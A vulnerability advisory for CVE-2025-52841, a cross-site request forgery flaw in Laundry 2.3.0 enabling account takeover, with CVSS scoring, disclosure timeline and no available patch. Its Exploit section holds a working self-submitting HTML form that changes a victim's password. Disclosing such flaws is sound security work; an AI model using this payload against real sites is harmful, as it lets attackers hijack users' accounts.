

Advisories

CSRF in Laundry allows to perform an account takeover

8.5

High

8.5

High

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

CSRF in Laundry 2.3.0 allows to perform an account takeover

Code name

tort

State

Public

Release date

Jul 2, 2025

Affected product

Laundry

Affected version(s)

Version 2.3.0

Vulnerability name

Cross-site request forgery

Vulnerability type

007. Cross-site request forgery

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.5

Exploit available

Yes

CVE ID(s)

CVE-2025-52841

Description

Laundry version 2.3.0 allows to perform an account takeover. This is possible because the application is vulnerable to CSRF.

Vulnerability

An CSRF vulnerability has been identified in laundry. This allows an account takeover to be performed on any user accessing a malicious link.

Exploit

<!DOCTYPE html>
<html>
    <body>
        <form action="http://vulnerable.com/laundry/data/change_pass.php" method="POST">
            <input type="hidden" name="pwd" value="hacked">
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2025-52841 to refer to this issue from now on.

https://fluidattacks.com/advisories/policy/

System Information

Version: laundry 2.3.0
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page

Timeline



Sep 20, 2023

Vulnerability discovered



Sep 26, 2023

Vendor contacted



Jul 2, 2025

Public disclosure

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